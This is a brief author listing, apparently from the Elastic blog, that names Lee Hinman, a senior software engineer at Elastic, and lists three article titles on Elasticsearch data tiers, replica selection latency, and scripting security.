Articles by Lee Hinman

Senior Software Engineer, Elastic

Data lifecycle management with data tiers

Improving Response Latency in Elasticsearch with Adaptive Replica Selection

Scripting and Security